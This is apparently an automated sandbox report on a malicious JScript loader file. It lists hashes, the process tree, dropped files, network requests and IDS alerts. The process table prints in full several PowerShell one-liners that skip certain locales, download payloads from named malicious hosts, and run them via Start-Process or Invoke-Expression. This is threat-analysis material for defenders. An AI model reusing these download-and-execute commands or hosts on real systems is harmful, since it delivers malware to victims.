File name: | Versamento___0000_11083 xm.js |
Full analysis: | https://app.any.run/tasks/78a181e8-ea44-498f-bdd2-b70bf0077003 |
Verdict: | Malicious activity |
Threats: | A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection. |
Analysis date: | March 21, 2019, 15:50:17 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Tags: | |
Indicators: | |
MIME: | text/plain |
File info: | ASCII text, with CRLF, LF line terminators |
MD5: | 28A2DE66A5C75C9060A165AA5816FF39 |
SHA1: | 91881DCE944CE67088A3CD7A36B235B734855506 |
SHA256: | 94EC7A50D72C709A3C6CBE3E7066DCA589C3424B969141CF6377FC215B8CA856 |
SSDEEP: | 192:VcRpeoVtZTT45pq+LjA1KLUMpMMDzqz5CpW1HDKVO1:KV5TY5Q1wUqMMDzqz5CpiKV+ |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
2732 | "C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Local\Temp\Versamento___0000_11083 xm.js" | C:\Windows\System32\WScript.exe | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft ® Windows Based Script Host Exit code: 0 Version: 5.8.7600.16385 | ||||
1632 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" if( (Get-UICulture).Name -match 'RU|UA|BY|CN'){ exit; } $ystuavett = [System.IO.Path]::GetTempPath() + '\SearchI32.js'; ( New-Object System.Net.WebClient ).DownloadFile('http://cloud.kokoheadattorney.com/502?cyezdw',$ystuavett); Start-Process $ystuavett; | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | WScript.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
584 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" if( (Get-UICulture).Name -match 'RU|UA|BY|CN'){ exit; } $eibjsgxcgxafx = [System.IO.Path]::GetTempPath() +'\..' +'\' + 'SkypeApp64.exe'; ( New-Object System.Net.WebClient ).DownloadFile('http://cloud.kokoheadattorney.com/501?htswbitxzgza',$eibjsgxcgxafx); Start-Process $eibjsgxcgxafx; | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | WScript.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
2928 | "C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Local\Temp\SearchI32.js" | C:\Windows\System32\WScript.exe | — | powershell.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft ® Windows Based Script Host Exit code: 0 Version: 5.8.7600.16385 | ||||
2668 | "C:\Users\admin\AppData\Local\SkypeApp64.exe" | C:\Users\admin\AppData\Local\SkypeApp64.exe | powershell.exe | |
User: admin Integrity Level: MEDIUM | ||||
1020 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" if( (Get-UICulture).Name -match 'RU|UA|BY|CN'){ exit; } $zyiswz = [System.IO.Path]::GetTempPath() + '\SearchI32.txt';$xhahjbeyxuzxthdzsyve = ''; ( New-Object System.Net.WebClient ).DownloadFile('http://cdn.zaczvk.pl/crypt0DD1D2637FDB71097213D70B94E86930.php',$zyiswz);;Get-Content $zyiswz | Where-Object {$_ -match $regex} | ForEach-Object { $xhahjbeyxuzxthdzsyve += $_ -replace '..(.)','$1'} ;Invoke-Expression -Command $xhahjbeyxuzxthdzsyve; | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | WScript.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
1784 | "C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Local\Temp\SearchI32.js" | C:\Windows\System32\WScript.exe | — | powershell.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft ® Windows Based Script Host Exit code: 0 Version: 5.8.7600.16385 | ||||
3300 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" if( (Get-UICulture).Name -match 'RU|UA|BY|CN'){ exit; } $zvbswdhbaxesvcz = [System.IO.Path]::GetTempPath() + '\SearchI32.txt';$xtxxfzuxwhcwb = ''; ( New-Object System.Net.WebClient ).DownloadFile('http://cdn.zaczvk.pl/crypt0DD1D2637FDB71097213D70B94E86930.php',$zvbswdhbaxesvcz);;Get-Content $zvbswdhbaxesvcz | Where-Object {$_ -match $regex} | ForEach-Object { $xtxxfzuxwhcwb += $_ -replace '..(.)','$1'} ;Invoke-Expression -Command $xtxxfzuxwhcwb; | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | WScript.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Version: 6.1.7600.16385 (win7_rtm.090713-1255) |
PID | Process | Filename | Type | |
---|---|---|---|---|
1632 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\FT7BZKMPMAYUGWXSEYS8.temp | — | |
MD5:— | SHA256:— | |||
584 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\BIQ470WYPQP6OQC3UX2T.temp | — | |
MD5:— | SHA256:— | |||
1020 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\UCOQH5NQC9Q66W6OUR8E.temp | — | |
MD5:— | SHA256:— | |||
3300 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\0RM32VD0VUZM2TL3JV10.temp | — | |
MD5:— | SHA256:— | |||
1020 | powershell.exe | C:\Users\admin\AppData\Local\Temp\SearchI32.tmp | text | |
MD5:13A08A2F9464818D4DCBBC8C3810FF98 | SHA256:36EF222572DA69E36BD760BB20B16607758CE8D8165E22AD83274E2A9563EF3D | |||
1020 | powershell.exe | C:\Users\admin\AppData\Local\Temp\SearchI32.txt | text | |
MD5:A0BFBDF4765C4FDE27E3AE05B7DEB1AD | SHA256:BB09F1132DDBC6C53CFE16F8B0456E4AD8A556FEFB876BEF3A4CF66F09974827 | |||
3300 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RFfe3cf.TMP | binary | |
MD5:7100C9D54A32DFE02751A9E1BC41F804 | SHA256:80122C0BA2B02BE359C80E807AC522D838DB909ED232DFD076AD9B65F7FE699C | |||
1632 | powershell.exe | C:\Users\admin\AppData\Local\Temp\SearchI32.js | text | |
MD5:523B83437A13B39DCA7C7DEA7EB72255 | SHA256:A2BCDC896D8C901859CC443DEBE149D1E637745EBD421591457A8E0A9E31B4E2 | |||
1632 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RFf88de.TMP | binary | |
MD5:7100C9D54A32DFE02751A9E1BC41F804 | SHA256:80122C0BA2B02BE359C80E807AC522D838DB909ED232DFD076AD9B65F7FE699C | |||
3300 | powershell.exe | C:\Users\admin\AppData\Local\Temp\SearchI32.txt | text | |
MD5:44FD395E9E1E71D39434EEB3AE94F4DC | SHA256:724D2FFA584A75B0941F7D6682A187B2D03920E84CE6E6B11C0306280877F18A |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
1020 | powershell.exe | GET | 200 | 185.158.250.114:80 | http://cdn.zaczvk.pl/loadercrypt_823EF8A810513A4071485C36DDAD4CC3.php?b=USER-PC_DELL_62f21c60&v=321.1&psver=2 | NL | text | 14.6 Kb | malicious |
3300 | powershell.exe | GET | — | 185.158.250.114:80 | http://space.bajamelide.ch/?b=USER-PC_DELL_62f21c60&v=321.1&psver=2 | NL | — | — | malicious |
1020 | powershell.exe | GET | 200 | 185.158.250.114:80 | http://cdn.zaczvk.pl/crypt0DD1D2637FDB71097213D70B94E86930.php | NL | text | 19.3 Kb | malicious |
3300 | powershell.exe | GET | 200 | 185.158.250.114:80 | http://cdn.zaczvk.pl/crypt0DD1D2637FDB71097213D70B94E86930.php | NL | text | 19.3 Kb | malicious |
1020 | powershell.exe | GET | 200 | 185.158.250.114:80 | http://cdn.zaczvk.pl/crypt0DD1D2637FDB71097213D70B94E86930.php?b=USER-PC_DELL_62f21c60&v=321.1&psver=2 | NL | text | 19.3 Kb | malicious |
584 | powershell.exe | GET | 200 | 31.214.157.69:80 | http://cloud.kokoheadattorney.com/501?htswbitxzgza | NL | executable | 260 Kb | malicious |
1632 | powershell.exe | GET | 200 | 31.214.157.69:80 | http://cloud.kokoheadattorney.com/502?cyezdw | NL | text | 22.4 Kb | malicious |
3300 | powershell.exe | GET | 200 | 185.158.250.114:80 | http://space.bajamelide.ch/?b=USER-PC_DELL_62f21c60&v=321.1&psver=2 | NL | text | 2 b | malicious |
3300 | powershell.exe | GET | 200 | 185.158.250.114:80 | http://space.bajamelide.ch/?b=USER-PC_DELL_62f21c60&v=321.1&psver=2 | NL | text | 2 b | malicious |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
584 | powershell.exe | 31.214.157.69:80 | cloud.kokoheadattorney.com | easystores GmbH | NL | suspicious |
1020 | powershell.exe | 185.158.250.114:80 | cdn.zaczvk.pl | M247 Ltd | NL | malicious |
3300 | powershell.exe | 185.158.250.114:80 | cdn.zaczvk.pl | M247 Ltd | NL | malicious |
1632 | powershell.exe | 31.214.157.69:80 | cloud.kokoheadattorney.com | easystores GmbH | NL | suspicious |
Domain | IP | Reputation |
---|---|---|
cloud.kokoheadattorney.com |
| malicious |
cdn.zaczvk.pl |
| unknown |
space.bajamelide.ch |
| malicious |
PID | Process | Class | Message |
---|---|---|---|
584 | powershell.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
584 | powershell.exe | A Network Trojan was detected | ET TROJAN Possible Windows executable sent when remote host claims to send a Text File |
584 | powershell.exe | Potentially Bad Traffic | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download |
1020 | powershell.exe | A Network Trojan was detected | ET TROJAN Unk/JS.Downloader CnC Checkin |
3300 | powershell.exe | A Network Trojan was detected | ET TROJAN Unk/JS.Downloader CnC Checkin |
Process | Message |
---|---|
SkypeApp64.exe | MP3 file corrupted |
SkypeApp64.exe | OGG 0 |